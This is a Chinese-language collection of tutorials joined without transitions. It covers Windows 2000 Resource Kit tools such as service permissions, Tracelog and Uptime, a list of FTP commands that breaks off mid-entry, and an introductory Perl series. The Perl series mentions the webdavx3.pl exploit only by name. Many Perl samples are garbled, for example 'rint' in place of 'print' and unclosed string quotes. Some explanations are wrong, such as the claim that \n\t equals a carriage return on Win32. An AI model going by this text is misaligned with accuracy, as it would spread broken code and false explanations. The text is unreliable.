G(grant): trustee: Permissions 增加许可。
S(Set): trustee: Permissions 重置许可。
R(Revoke): trustee: 删除被赋予的explicit permissions。
D(deny): trustee: 拒绝访问。注意，使用这个命令的时候要很小心，一旦你用了D:everyone，连
administrators都没有权限来访问这个服务了。
你可以在一行里面使用这些命令。比如： r:username g:uername:riu。
trustee
你要指定的用户。
permissions
相应的权限。
有Specific许可和generic许可两种。
Specific permissions:
Q: Query Service Configuration (SERVICE_QUERY_CONFIG)
S: Query Service Status (SERVICE_QUERY_STATUS)
E: Enumerate Dependent Services (SERVICE_ENUMERATE_DEPENDENTS)
C: Change Service Configuration (SERVICE_CHANGE_CONFIG)
T: Start Service (SERVICE_START)
O: Stop Service (SERVICE_STOP)
P: Pause/Continue Service (SERVICE_PAUSE_CONTINUE)
I: Interrogate Service with ControlService() (SERVICE_INTERROGATE)
U: Allow User-Defined Control Commands (SERVICE_USER_DEFINED_CONTROL)
Generic permissions:
F: Full Control (SERVICE_ALL_ACCESS = QSECTOPIU)
R: Generic Read (GENERIC_READ = QSE)
W: Generic Write (GENERIC_WRITE = C)
X: Generic Execute (GENERIC_EXECUTE = TOPIU)
这个工具为我们提供了一种安全性的选择，禁止对某些服务的访问，可以避免一些攻击的发生。
34. Svcmon.exe (service Monitoring Tool)
这个工具可以用来监视本地或者是远程计算机服务的状态改变，当它发现一个服务开始或者是停止的时候，这个工具将会通过发e-mail或者是Exchange Server来通知你知道。这个工具由两部分组成，Svcmon.exe这个需要你手工拷贝到%SystemRoot%\System32底下，另一个Smconfig 是一个安装向导。由于是图形界面，所以我就不再多说什么东西。这里提醒一下注意，在Exchange Recipients那里添如你要提醒的用户的Email。其他的按照指示做就可以了。
35. Timethis.exe (Time This)
我很喜欢这个工具，这个工具可以用来报告一个程序的运行时间。报告的时间可以详细到0.001s。连net sue都可以拿来测试。当然使用起来也很简单。
timethis commandname
当你在命令中有<, >, >>，｜这样的符号的时候，请使用双引号，比如：timethis "dir /a > a.txt" 使用以后基本上会出来这么一个东西。
C:\>timethis dir
TimeThis : Command Line : dir
TimeThis : Start Time : Sun Mar 03 17:45:27 2002
Volume in drive C is WIN2000
Volume Serial Number is 4CE5-8543
Directory of C:\
2002-02-23 22:58
Documents and Settings
2002-02-23 22:49
Inetpub
2002-03-03 11:37
Program Files
2002-03-03 14:15
WINNT
0 File(s) 0 bytes
4 Dir(s) 9,512,271,872 bytes free
TimeThis : Command Line : dir
TimeThis : Start Time : Sun Mar 03 17:45:27 2002
TimeThis : End Time : Sun Mar 03 17:45:27 2002
TimeThis : Elapsed Time : 00:00:00.050
36. Timezone.exe (Daylight Saving Time Update Utility)
微软真是奇怪，居然在ResKit里面加入了这样的东西，一个调整夏令时的工具。我们现在又不用夏令时，没有多大用处。随便说说！
timezone /g /s startdate enddate /？
/g
当前的情况。
/s startdate enddate
进行修改，格式是Hour:DayofWeek:Day:Month
Hour: 00-23
DayofWeek: 0=Sunday 1=monday………
Day指定发生的时间，如果上面是sunday，这里是1的话，就是该月的第一个星期天。
Month: 1 = January 到12 = December。
37. Tlocmgr.exe (Telephony Location Manager)
一个用来管理TAPI的小程序，允许你方便的改变你的TAPI Location。一旦运行以后会在右下角有一个tray， 这个实在没有什么好说的。
38. Tracedmp.exe (Trace Dump)
这个工具也是用来处理Tracelog产生的日志的，和前面的Reducer.exe有相象之处。Tracelog产生的是不容易阅读的，我们可以使用Tracedmp把它转换比较容易读的格式，比如Summary.txt这种内容少一点, 也可以是CSV可以比较详细。还有tracedmp可以直接从Realtime buffer中直接读出数据来处理。tracedmp解释tracelog产生的日志是通过一个叫mofdata.guid的文件，这文件里面包含了系统的目录服务和系统追踪信息。如果要处理 其他的数据，必须把相应的信息加入到mofdata.guid中去。
tracedmp option -h│-?
-o filename
输出CSV和summary文件，默认情况下是dumpfile.csv和summary.txt。这里的dumpfile.csv包括每一个event的详细的信息。具体产生的日志的内容代表的信息我在这里就不详细说了，大家可以参看相应的资料。
-guid
MOF定义文件，默认的GUID是mofdata.guid，你也可以进行指定。
-rt
产生一个real-time trace文件。如果要指定这个选项，tracelog必须是在工作的。
-summary
只提供summary.txt文件。
一般像这样用就可以了，Tracedmp c:\logfile.etl。你当然也可以tracedmp -rt ds，来显示realtime记
录。
39. Traceenable.exe (Trace Enable)
这是一个用来enable/disable RAS/RADIUS记录的GUI工具。这个工具允许我们修改
HKLM\SOFTWARE\Microsoft\Tracing key下的
EnableConsoleTracing
EnableFileTracing
MaxFileSize
三个subkeys。如果你熟悉注册表的话，也可以直接修改。图形界面的工具就不多说了。
提一下面板中的几个选项。
Global
enable console tracing
允许你实时看目录。
enable pool tagging
打开system pool标记。
Per Component
enable console tracing
在控制台窗口中显示日志跟踪信息。
enable file tracing
把信息保存到一个日志文件中。一般在%windir%\tracing。
max file size
文件的最大尺寸。
如果你是在一台才安装的计算机中启用这个东东的话，有些键值会不在注册表中，那就是说在Trace Enable中也看不到，你需要先运行RasPhone。
40. Tracelog.exe (Trace Log)
说了半天终于说到这个tracelog.exe了。这个命令行工具可以开始，停止，启用跟踪记录，这些记录可以用Tracedmp或者是Reducer来看。tracelog在运行时将建立一个buffer，然后如果有数据进入buffer它可以把这些数据转换为文件保存，也可以进行实时的跟踪，这个时候我们可以用如tracedmp这样的应用程序读出 buffer中的数据。
tracelog managementoption bufferoption logfileoption Systemleveltracingoption
Provider-specificOption -h│-?
managementOption: Starting, stopping, updating and querying
-guid file
和tracedmp中的是一样的，都是表示provider的信息。如果开始System tracing可以不用提供Guid，如果是
directory service events我们可以指定control.guid。
-start logger_name
开始一个trace会话。你要提供一个日志名字，如果是一个system trace可以不需要指定，默认的名字为“NT
Kernel logger”。
-stop logger_name
终止trace会话。如果是system trace可以不用指定logger_name。
-update option logger_name
升级当前的trace会话。这个东西在你想改变文件的名字，buffer的参数，realtime模式等时候就会被用到。以下这些option可以在kernel logger中用到。
-rt
模式开关，调整realtime mode。
-f logfile_name
指定新的log文件的名字。
-ft n
改变buffer的刷新计数器。
-max n
改变buffer的大小。
"-nodisk" "-noprocess" "-nothread" "-nonet" "-fio" "-pf" "-hf" "-img" "-cm"
NT kernel logger的一些标志。
上面这些调整可以一次进行，如：tracelog -update -rt -max 40。
-x
停止所有活动的会话。
-l
查询在工作的traces。
-q
只查询system trace。
BufferOption
-b n
设置buffer的大小为n kb。小的buffer会导致经常刷新buffer，基本上使用默认就好。
-min n
设置最小buffer,默认是2。
-max n
设置最大buffer，默认是25。
-ft n_seconds
设置刷新时间。
-age n_minutes
修改老化时间。就是分配的buffer没有使用，会在多长时间内被释放。
LogfileOption
-rt b
启用real time mode。
-f name
日志的名字。默认是c:\logfile.etl，如果要使用不同的名字用-o filename。
-seq n_mbyte
一直使用到n_mbyte。
-cir n_mbyte
循环使用n_mbyte。

Systemleveltracingoption
为kernel tracing提供更多的选项。
默认情况下kernel tracing包括
Process start/end
Disk I/O
Network TCP/IP, UDP/IP
Thread start/end
只有在使用一些开关后，才会产生下面的内容。
Image Load
Registry calls
File I/O
Page Fault
但是trace这些东西会产生很大的负担。
-fio
启用file I/O tracing。
-pf
启用page faults tracing。
-hf
启用hard faults tracing。
-img
启用image load tracing。
-um
启用Process Private tracing。这种情况下buffer建立在Private Process space中，默认是在kernel
space中。
-nf
每n mb更新文件。
ProviderSpecificOption: Provider Level Options
-level n
-flags
这些都和相应的provider有关。
下面看个例子，
打开trace。
c:\>tracelog –start
Logger Started...
Operation Status: 0L
The operation completed successfully.
Logger Name: NT Kernel Logger
Logger Id: ffff
Logger Thread Id: 1360
Buffer Size: 8 Kb
Maximum Buffers: 25
Minimum Buffers: 2
Number of Buffers: 2
Free Buffers: 1
Buffers Written: 3
Events Lost: 0
Log Buffers Lost: 0
Real Time Buffers Lost: 0
Log File Mode: Sequential
Enabled tracing: Process Thread Disk TcpIp
Log Filename: C:\LogFile.Etl
停止trace
C:\>tracelog –stop
Operation Status: 0L
The operation completed successfully.
Logger Name: NT Kernel Logger
Logger Id: ffff
Logger Thread Id: 1360
Buffer Size: 8 Kb
Maximum Buffers: 25
Minimum Buffers: 2
Number of Buffers: 2
Free Buffers: 2
Buffers Written: 7
Events Lost: 0
Log Buffers Lost: 0
Real Time Buffers Lost: 0
Log File Mode: Sequential
Log Filename: C:\LogFile.Etl
收集和分析一个系统的各种信息对于管理员是日常工作中很重要的一块，使用合适的工具可以大大简化这样的工作负担。也许tracelog会是个很好的工具。
41. Tzdit.exe (Time Zone Editor)
这个工具可以用来改变Time zone记录，可以编辑现有的记录，也可以自己弄一个自己喜欢的时区出来，没有多大意思。需要管理员身份使用。一般来说大家都不会去改这种东西，而且又是个GUI工具，这里就不多说了。
42. uptime.exe
这个命令行工具可以通过分析event log来一台服务器的可靠性，有效性和当前的正常工作时间。目标系统可以是本地也可以是远程。显示的内容很多，比如该机器的关机，重起，系统故障，服务包安装等等内容，可以比较全面的判定一个系统的稳定情况。虽然这个程序对于privilege没有什么特别的要求，但是微软推荐大家以administrator（为了使用System Performance Counter来完成工作）的身份运行该程序。对于这个程序来说时区会对程序的计算造成一些影响，这个在分析远程主机的时候需要特别注意。
uptime server /s /a /d:mm/dd/yyyy │/p:n /heartbeat /?│/help
server
要分析的主机的ip或者是name。本地可以不用指定。
/s
主要的系统事件和统计。
/a
显示应用程序失败时间。
/d:
计算mm/dd/yyyy以后的事件。
/p:n
计算先前n天的事件。
/heartbeat
打开或者是关闭heartbeat。
为了能够正确的反映系统的状况，heartbeat需要被指定，heartbeat实际上就是一个time stamp会在一个固定的间隔（5分钟）内写到系统的注册表中。根据这个时间戳我们可以分析系统的稳定性，但是这个东西会影响到电源策略的使用，所以不推荐在Laptop中使用。启用heartbeat使用以下命令：
uptime /heartbeat ［\\computer]。
在Windows 2000 Server中这个是默认启用的，但是奇怪我使用这个命令的时候，我的Adanced Server竟然不支持system heartbeat，呵呵！这个东西本来是可以看出Stop Errors，也就是我们平常说的Blue Screens错误。但是我使用2000以后还真没有见过Blue Screen。可见2000还是很稳定的。
下面举个例子：
C:\>uptime
\\HELLO has been up for: 0 day(s), 2 hour(s), 32 minute(s), 25 second(s)

C:\>uptime /p:2 /s
Uptime Report for: \\HELLO

Time Zone: China Standard Time
System Events as of 2002-3-3 20:06:38:
Date: Time: Event: Comment:
Current System Uptime: 0 day(s), 2 hour(s), 33 minute(s), 16 second(s)
Estimate based on last boot record in the event log.
See UPTIME /help for more detail.
Since 2002-3-1: (Last 2 Days)
System Availability: 37.9457%
Total Uptime: 1d 1h:50m:42s
Total Downtime: 1d 18h:15m:56s
Total Reboots: 18
Mean Time Between Reboots: 0.16 days
Total Bluescreens: 0
Notes:
There is insufficient data in the event log to calculate
system availability. Please see UPTIME /help for more detail.
基本上就是这样的。
43. W2000msgs.chm (Windows 2000 Error and Event Messages Help)
这个帮助文件列出了Win2k产生的绝大部分错误，也给出了相应的解释和纠正错误的方法。在这个文档里面也包括了部分应用程序和启动程序的错误，对这个有兴趣的人就仔细看看吧！内容挺多的。


FTP命令

FTP命令是Internet用户使用最频繁的命令之一,不论是在DOS还是UNIX操作系统下使用FTP,都会遇到大量的FTP内部命令,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,对于现在拨号上网的用户，如果ISP提供了shell可以使用nohup，那么ftp将是你最省钱的上download方式，ftp的命令行格式为:ftp －v －d －i －n －g[主机名]

－v 显示远程服务器的所有响应信息。

－d 使用调试方式。

－n 限制ftp的自动登录,即不使用.netrc文件。

－g 取消全局文件名。

ftp使用的内部命令如下(其中括号表示可选项):

1.![cmd[args]在本地机中执行交互shell、exit回到ftp环境,如!ls＊.zip 。

2.￥ macro－ame[args]执行宏定义macro－name。

3.account[password]提供登录远程系统成功后访问系统资源所需的补充口令 。

4.appendlocal－file[remote－file]将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。

5.ascii 使用ascii类型传输方式。

6.bell每个命令执行完毕后计算机响铃一次。

7.bin使用二进制文件传输方式。

8.bye退出ftp会话过程。

9.case在使用mget时,将远程主机文件名中的大写转为小写字母。

10.cd remote－dir 进入远程主机目录。

11.cdup进入远程主机目录的父目录。

12.chmod modefile－name将远程主机文件file－name的存取方式设置为mode,如chmod 777 a.out。

13.close中断与远程服务器的ftp会话(与open对应)。

14.cr使用asscii方式传输文件时,将回车换行转换为回行。

15.delete remote－file删除远程主机文件。

16.debug[debug－value]设置调试方式,显示发送至远程主机的每条命令,如debup3,若 设为0,表示取消debug。

17.dir[remote－dir][local－file]显示远程主机目录,并将结果存入local－file。

18.disconnection同close。

19.form format将文件传输方式设置为format,缺省为file方式。

20.getremote－file[local－file]将远程主机的文件remote－file传至本地硬盘的local－file。

21.glob设置mdelete、mget、mput的文件名扩展,缺省时不扩展文件名,同命令行的－g参数。

22.hash每传输1024字节,显示一个hash符号(＃)。

23.help[cmd]显示ftp内部命令cmd的帮助信息,如help get。

24.idle[seconds]将远程服务器的休眠计时器设为[seconds]秒。

25.image设置二进制传输方式(同binary)

26.lcd[dir]将本地工作目录切换至dir。

27.ls[remote－dir][local－file]显示远程目录remote－dir,并存入本地local－file。

28.macdef macro－name定义一个宏,遇到macdef下的空行时,宏定义结束。

29.mdelete[remote－file]删除远程主机文件。

30.mdir remote－files local－file与dir类似,但可指定多个远程文件,如mdir＊.o.＊. zipoutfile。

31.mget remote－files传输多个远程文件。

32.mkdir dir－name 在远程主机中建一目录。

33.mls remote－file local－file同nlist,但可指定多个文件名。

34.mode[mode－name]将文件传输方式设置为mode－name,缺省为stream方式。

35.modtime file－name显示远程主机文件的最后修改时间。

36.mput local－file将多个文件传输至远程主机。

37.newerfile－name如果远程机中file－name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。

38.nlist[remote－dir][local－file]显示远程主机目录的文件清单,并存入本地硬盘的local－file。

39.nmap[inpatternoutpattern]设置文件名映射机制,使得文件传输时,文件中的某些字符相互转换,如nmap￥1.￥2.￥3[￥1,￥2].[￥2,￥3],则传输文件a1 .a2.a3时,文件名变为a1、a2，该命令特别适用于远程主机为非U－NIX机的情况。

40.ntrans[inchars[outchars]设置文件名%


Learning perl 1
Author:python
自从webDAV漏洞开始，使用率最高的莫过于isno用perl编写的webdavx3.pl了，而且，最近越来越多的CGI漏洞也是闹得十分热闹，那么，想必很多朋友因此也开始注意perl这门古老而又年轻的语言了。
之所以说它古老，是因为它的历史；而说它年轻，则是因为perl的解析器版本不断更新，支持性和各个方面的性能也不断提升，在这个Internet时代，在某些方面perl已经是一门不可替代的语言了。
perl语言相对C、VB、C++这类语言，对大家来说相对比较生僻，而且，在国内很难买到相关的好书（至少我见过的几本perl语言的书都不是很好 —— 主要是翻译水平不好），所以，在这里，我想给大家写一系列的教程，不敢说让人人都成为编程高手，但是，入门应该是没有问题了。
好，接下来就开始第一部分了，关于perl的历史、缩写等等的东西我就不说了，如果想看的话，相信任何一本介绍perl语言的书上都会有的。
但是，希望大家记住一个人名：Larry Wall ，就是这个人，带给我们一种这么棒的语言。

第一节

一、安装

目前perl解析器的最新版本是5.8.0 ；
在LINUX下，perl是安装包中的一部分，只要在安装过程中选中就可以了；
在win32环境下，perl为msi安装程序包，win2k下，安装该程序前必须打有sp补丁（具体是sp几要根据安装的perl解析器的版本而定），否则会有错误提示；
至于win9x下，则要下载一个补丁（补丁名忘了^_^#），因为默认下，win9x不能安装msi程序。
安装路径的问题：
在一些书中推荐一些安装路径，但是，我个人认为，只要用着舒服、顺手，路径并不是什么大问题。

二、命令行下的perl

在介绍perl语言前，先介绍几个命令行参数；
参数-v（小写），用来查看当前安装的perl解析器的版本号，例如，win32下显示为：
C:\>perl -v

This is perl, v5.8.0 built for MSWin32-x86-multi-thread
(with 1 registered patch, see perl -V for more detail)

Copyright 1987-2002, Larry Wall
（省点篇幅，下面就不写出来了）

参数-d：用做调试，具体使用方法等讲到调试的时候再详细讲解；

参数-e：很有趣而且也是一个很方便的参数，用来解释命令行上的perl，例如：

C:\>perl -e "print qq(Hello,every body\n);;
Hello,every body

使用这样的命令，我们可以在命令行下快速地做很多事情（虽然大部分事情可以直接使用命令，但是，使用这样的形式我们会更高兴，不是吗 ？），例如：
C:\>perl -e "while(<>){print $_;} p:\test.txt
only a test
only a test
only a test
only a test
only a test
only a test
only a test
上面的命令作用就是将一个指定文件的内容打印在屏幕上；

除了打印文件内容，我们还可以得到文件夹内容的列表：
C:\>perl -e "if(opendir(FH,$ARGV[0])){foreach (readdir FH){print qq($_\n)};}; P:\
.
..
adapter.pl
add_to_group.pl
array_last.pl
at.txt
block.pl
change_log.pl
clear.pl
crack.pl
crash.pl
createuser.pl
del_share.pl
desktop.ini
dir.pl
eg.pl
exit.pl
（后略...）

以上只是非常简单的用法而已，我们还可以配合更多的参数在命令行下做更多的事情，至于如何做 ？ 我们来慢慢讲解吧。

三、perl程序

#!/usr/bin/perl -w

use strict;
use warnings;

rint "Hello,everybody !\n\t;

我想任何对程序稍有了解的人都能看出来，这个程序将打印一句“Hello,everybody !”，下面，我来针对每一行进行解释；

第一行：#!/usr/bin/perl
这一行用来指定perl解析器的路径，在win32系统中，perl解析器路径已注册为环境变量，我们甚至使用#!perl 就可以指定该路径；
另外，在行中如果遇到#号的话，那么它后面的文本将被视为注释；

-w ： 该参数的作用是打开警告；

第二、三行：use是用来加载模块的，在这里加载两个模块：strict和warnings，他们的主要作用是检查格式和语法等错误；
使用了use的话，那么use后的模块的加载时间将和后面的代码不同，use后的模块是在编译时发生的，而代码则是在解析时发生的；

第四行：这里的print是一个函数，而后面Hello,everybody !则是要打印的内容，另外，还有两个转义字符\n和\t；
在win32系统中，转义字符\n\t就等于回车，在UNIX系统中，回车则为\n 。

1、标量变量

在perl中，当要使用变量的时候，不用像C语言中那样事先声名，当你想使用的时候直接使用即可：
#!/usr/bin/perl -w
#scalar.pl

$a=12;
rint $a,"\n;

另外，我们还可以写成这样：
#!/usr/bin/perl -w

$a='12';
rint $a,"\n;

可见，perl中的标量变量会自动根据上下文的需要而自己调整，不需要像C语言中那样事先定义。

2、数组

我们可以使用这样的语句来定义一个数组：

# defined a array.
@array=qw(a b c d e);
或者是：
@array=('a','b','c','d','e');

当我们想索引数组中某一个数的时候，我们可以这样：
print $array[0];
#索引数组的第一个元素
如果是这样的话：
print $array[-1];
这则是索引数组的最后一个元素；

程序：
#!/usr/bin/perl

@array=qw(a b c d e);

rint $array[0],"\n;
print $array[-1];

结果：
a
e


learning perl 2
除了简单地创建一维数组外，我们还可以创建多维数组：

#!/usr/bin/perl

@array = (
['1','2','3'],
['a','b','c'],
['x','y','z']
);

print $array[2][1];

结果：y

在这里，我们用到了引用（方括号中问引用内容），关于引用的话题，当讲到面向对象的perl时候我会具体讲

解；

3、操作数组；

@array=qw(a b c d e);

这样，我们可以定义一个数组，除了这些，我们还可以对某个或某些元素进行替换或是其他任何我们想要的操

作；

替换元素：

#!/usr/bin/perl

@array=qw(a b c d e);
rint $array[2],"\n;
$array[2]='x';
print $array[2];

另外，我们还可以成批替换多个元素：

#!/usr/bin/perl

@array=qw(a b c d e);
@array[2..4]=('x','y','z');
rint " $array[2] \n $array[3] \n $array[4];

结果：
x
y
z
注意程序中第二行：@array[2..4]
因为这里我们替换的是多个元素，即，将他们的组合看作数组而并非标量，因此，在开始处使用“@”来标明，

而不是“$”；

另外，这里的[2..4]表示索引号为2、3、4的三个数字（即，第3、4、5个元素，因为在数组中第一个索引号为0

）；
在这里，perl在对连续的数进行排列或是其他操作的时候允许使用两个点来省略中间的部分，例如：
@array = (a..z);
这样是定义了一个从字母a到字母z的数组；

连续打印数组元素：
在这里，我们使用一个函数 —— foreach
程序：
#!/usr/bin/perl

@array=qw(a b c d e);
foreach $i (@array){
print $i,"\n;
}
结果：
a
b
c
d
e
这里，foreach将@array中的每个元素为$i赋值，然后执行{}中的语句块，而语句块的内容就是打印$i的值得到

终端上；

在这里，foreach中有一个作用域的问题，我们把上面的程序稍微修改一下：

#!/usr/bin/perl -w

@array=qw(a b c d e);
foreach $i (@array){
print $i,"\n;
}
print $i;
（最后一行多了一行代码，而且，把警告打开）

这样，我们执行结果会为这样：
a
b
c
d
e
Use of uninitialized value in print at foreach_area.pl line 7.

这里的错误提示是告诉我们在程序的第七行（print $i）使用了一个没有定义的变量，这指的就是$i这个变量

；这是因为，foreach中变量的定义的作用域只在其循环内部，所以，当我们在外部想使用该变量的时候，就成

了未定义的变量了；

使用foreach打印数组的时候还有很多技巧，例如，我们可以这样用：
#!/usr/bin/perl -w

@array=qw(a b c d e);
foreach (0..$#array){
print $array[$_],"\n;
}
在这里，有两个东东要讲一讲：
第一个是$#array，他代表的是@array这个数组中的最后一个索引号，在该程序中为4；
另外，$_则是一个特殊的标量，当需要标量并未被定义的时候，便默认使用该标量；
在程序里，$_则被分别从0到4依次被赋值；


learning perl 3
计算数组的元素个数

第一种方法，我们可以将一个数组直接赋值给一个标量变量，那么，该标量变量的值将为该数组的长度值：

#!/usr/bin/perl

@array = qw(a b c d e f g);
$count = @array;
print $count ;

结果： 7

第二种方法，使用perl的内置函数：

$count = scalar (@array);

scalar函数的返回值就为其参数数组的长度；

第三种方法，通过查找数组的最后一个元素的索引并加一也可以得到：

$count = $#array + 1;

以上三种方法都是比较常用的而且能比较容易的获得数组长度的方法；

向数组中添加元素：

如果在不使用任何函数的情况下，我们可以使用下面的方法来向数组的尾部添加一个元素：

#!/usr/bin/perl

@array = qw(a b c d e f g);
$array[$#array +1] = 'x';
print @array ;

结果：abcdefgx

切记，该法只能向数组的末尾添加元素，如果向任何一个已存在的数组索引处添加元素的话，那么，得到的结果不是添加而是被替代，例如：

#!/usr/bin/perl

@array = qw(a b c d e f g);
$array[2] = 'x';
print @array ;

结果：abxdefg

函数push

它的作用就是向数组的末尾添加一个元素：
push (@array,'x');

函数unshift

该函数的作用是向数组中添加一个元素并将该元素作为第一个元素：

unshift (@array,'x');

函数splice

该函数的作用就是向任意索引处添加任意长的元素并可替换掉某些元素；

splice (@array,4,0,'x');

例如，上个语句就会在第四索引处添加元素x ，而此处替换掉0个元素；
那么，结果为： abcdxefg

我们也可以在第四索引处添加一个元素并替换掉原有的两个元素（即，原来的第四和第五索引处的元素）

splice (@array,4,2,'x');

结果为：abcdxg

使用特殊格式打印数组

#!/usr/bin/perl

@array = qw(a b c d e f g);
rint join ("\n,@array);

这里使用了join函数，它带两个参数，第一个参数是分割数组元素的字符，第二个则是数组；
该代码的结果为：

a
b
c
d
e
f
g

切记，该法只能向数组的末尾添加元素，如果向任何一个已存在的数组索引处添加元素的话，那么，得到的结果不是添加而是被替代

怎么说呢，其实这个说法并不是很准确；
例如，数组中有7个元素，那么，我完全可以将元素添加到第10个索引值上
那么，中间空缺出来的部分将被视为未定义；
我这里所说的只能添加到末尾则是指我们在视觉上的末尾，方便大家理解。


learning.perl.4
-- perl中的特殊内置变量
先来一个例子吧
#!/usr/bin/perl
use warnings;
@array = qw(a b c d);
foreach (@array) {
print $_,"\n";
}
例子的作用就是定义一个数组并把其中的元素打印出来，这里需要注意的是foreach循环部分，foreach循环的标准格式应该是：
foreach $element (@array){
......
}
其中数组@array将其中的元素依次赋值给$element，但是在上面那个程序中，我并没有这样做，在程序中，我就使用到了perl中内置的一个特殊变量 $_ 。
在程序第五行中：foreach (@array) 实际上就是等于 foreach $_ (@array)，在这里，$_是默认是输入/输出，因此，如果在程序中有类似的没有明确声明的变量位置的时候，就有可能能使用$_代替。
再看另外一个内置变量
perl -e "sleep(5);print qq(The PID of process perl.exe is : $$)";
这是一句命令行上使用的perl程序，作用就是打印出一段话：print qq(The PID of process perl.exe is : $$) ，在这里，存在着特殊变量$$ ；
$$是当前perl解析器的进程ID（即，PID），大家可以将在段程序写在命令行上，该程序会在perl解析器运行5秒后打印出perl解析器的进程ID，大家可以在程序运行期间通过查看进程列表来确定打印结果是否正确（^_^不会错的）。
接下来是一个用来返回错误信息（或是错误号）的特殊变量
为了省事，不写程序了，还是来个命令行的吧
perl -e "opendir FH,'c:\none' or die qq(can't open:$!);";
这句话就是要打开C盘下的一个none目录（而实际上我的C盘中并没有此目录，之所以这样写的目的就是为了引起一个程序中的错误信息），如果没有打开的话，会执行后面的die qq(can't open:$!)
在这里，$!就指明了错误信息的内容，命令行会返回错误信息：
can't open:No such file or directory at -e line 1.
$!在open或是opendir中用的比较多（无论是打开文件还是管道或是其他）。

来个例子，说一个有意思的特殊内置变量
$text = "C:\\test.txt";
{
open FH,$text or die "can't open:$!";
my $line = <FH>;
close FH;
print $line;
}
print "#===========================#\n";
{
undef $/;
open FH,$text or die "can't open:$!";
my $line = <FH>;
close FH;
print $line;
}
=================================
C盘下的test.txt的内容是：
111111111111111111111111111
222222222222222222222222222
333333333333333333333333333
=================================
好，程序的运行结果是：
111111111111111111111111111
#===========================#
111111111111111111111111111
222222222222222222222222222
333333333333333333333333333
程序就不多废话了，作用就是读文件，关键部分在“$line = <FH>”，尖括号操作符（即，<>）作用是读取一行文件内容（相信大多数教程或是书上都是这么写的），但是，这里所说的一行，实际上是有一个标准的，那就是当perl在遇到了换行符后，边认为是一行，而换行符默认情况下是由于$/这个特殊变量定义的，是缺省值。
也就是说，perl 在每次使用<>操作符读文件的时候，会先从$/中获得一个叫做“分隔符”的东西，并以该分隔符为标记来读取文件，如果按默认的$/来说，这个分割符就是一个换行符，所以，默认时，<>操作符才会每次读取一行文本。
在给出的例子中，有这样一句 ：undef $/ ，也就是将$/设置为未定义的值，这样一来呢，$/就不再起作用了，因此，大家可以看到，第二次进行同样的操作的时候， <>操作符就不再是只读一行而是将文件内容全部读出来了。

接下来看一个会受到$/影响的内置变量，还是先说实例：
$text = "C:\\test.txt";
open FH,$text or die "can't open:$!";
while (<FH>) {
print "line $. is:$_";
}
close FH;
先来看循环中的：print "line $. is:$_"
程序的作用是读文件，并且，将文件逐行赋值给$_（因为只用了<>操作符而没有指定内赋值变量，因此，默认就是赋值给了$_）；
但是这里除了$_，还有一个变量“$.”
我们来看一下结果：
line 1 is:111111111111111111111111111
line 2 is:222222222222222222222222222
line 3 is:333333333333333333333333333
可见，变量$.的作用是一个类似计数器的东西，但是，为什么刚开始我说$.会受到$/变量的影响呢 ？
将上面的例子稍做修改，再看一下：
$text = "C:\\test.txt";
undef $/; # 注意，多加了这一行
open FH,$text or die "can't open:$!";
while (<FH>) {
print "line $. is:$_";
}
close FH;

第二行多加了一句undef $/; ，上面已经说过它的作用了，来看一下这段程序运行的结果：
line 1 is:111111111111111111111111111
222222222222222222222222222
333333333333333333333333333
本来应该是三行的文本，不但被一次性打印出来，而且还指明了“line 1”（看来程序认为这个文本只有一行），为什么 ？
这是因为$.变量并不是一个单纯的行计数器，确切地说，可以说$.是一个对$/计数器，我们再来看一段程序大概就会明白了：
$text = "C:\\a.txt";
$/ = ";"; # 注意这里，这里我并将$/设置为未定义，而是给其赋值为分号
open FH,$text or die "can't open:$!";
while (<FH>) {
print "line $. is:$_\n";
}
close FH;
再看一下C盘下的a.txt的内容：
ddd;bbb;ccc;fff;eee;
就这么简单了。
看一下运行结果：
line 1 is:ddd;
line 2 is:bbb;
line 3 is:ccc;
line 4 is:fff;
line 5 is:eee;
看过这段程序应该就明白了吧。
好，$.已经讲得差不多了，接下来再说一个它的特性，仍然是看程序说话：
$text = "C:\\test.txt";
open FH,$text or die "can't open:$!";
while (<FH>) {
print "line $. is:$_\n";
}
print "\n",$.;
close FH;
print "\n",$.;
这个程序要注意的是最后三行中的两个print "\n",$.;（一个是在关闭文件前，另外一个则是在关闭文件后）。
看一下执行结果：
line 1 is:111111111111111111111111111
line 2 is:222222222222222222222222222
line 3 is:333333333333333333333333333
3
0
结果的前三行刚才就已经知道了，这不是我们关心的，我们应该关心的是最后两行结果（即两个print "\n",$.;的结果）；
$.变量是具有记忆性的（从原理上来将，它是一个包变量），因此，在关闭文件前打印会发现，它的值是还没有变化的（这时的值和最后一次读完文件的值均为3）；
而在关闭文件后，该变量又被重新初始化为0了。
这个特性大家注意一下就可以了，因为其中的原理涉及到了perl的作用域和包的一些知识，不是很容易说清楚，所以就不说了，如果对包和作用域有了解的读者对这部分即使我不讲他们也应该能理解的。

再说最后一个吧
说一个用来简单判断操作系统类型的，看个例子：
C:\>perl -e "print $^O;";
MSWin32
注意，这里这个特殊变量$^O 最后一个字符是字母O，且大写。
如果是在linux下的话，结果就不是MSWin32了，而是Linux ；
这是一个判断环境的变量，简单实用。
perl的内置特殊变量还有很多的，例如常用的还有@_、@ARGV、$ARGV、%INC、%ENV等等，有很多，不可能一一列举了，这里给出一个比较有总结性的列表，是chinaunix上perl社区的一个网友总结的，还算比较全：
$- 当前页可打印的行数,属于Perl格式系统的一部分
$! 根据上下文内容返回错误号或者错误串
$” 列表分隔符
$# 打印数字时默认的数字输出格式
$$ Perl解释器的进程ID
$% 当前输出通道的当前页号
$& 与上个格式匹配的字符串
$( 当前进程的组ID
$) 当前进程的有效组ID
$* 设置1表示处理多行格式.现在多以/s和/m修饰符取代之.
$, 当前输出字段分隔符
$. 上次阅读的文件的当前输入行号
$/ 当前输入记录分隔符,默认情况是新行
$: 字符设置,此后的字符串将被分开,以填充连续的字段.
$; 在仿真多维数组时使用的分隔符.
$? 返回上一个外部命令的状态
$@ Perl解释器从eval语句返回的错误消息
$[ 数组中第一个元素的索引号
$\ 当前输出记录的分隔符
$] Perl解释器的子版本号
$^ 当前通道最上面的页面输出格式名字
$^A 打印前用于保存格式化数据的变量
$^D 调试标志的值
$^E 在非UNIX环境中的操作系统扩展错误信息
$^F 最大的文件捆述符数值
$^H 由编译器激活的语法检查状态
$^I 内置控制编辑器的值
$^L 发送到输出通道的走纸换页符
$^M 备用内存池的大小
$^O 操作系统名
$^P 指定当前调试值的内部变量
$^R 正则表达式块的上次求值结果
$^S 当前解释器状态
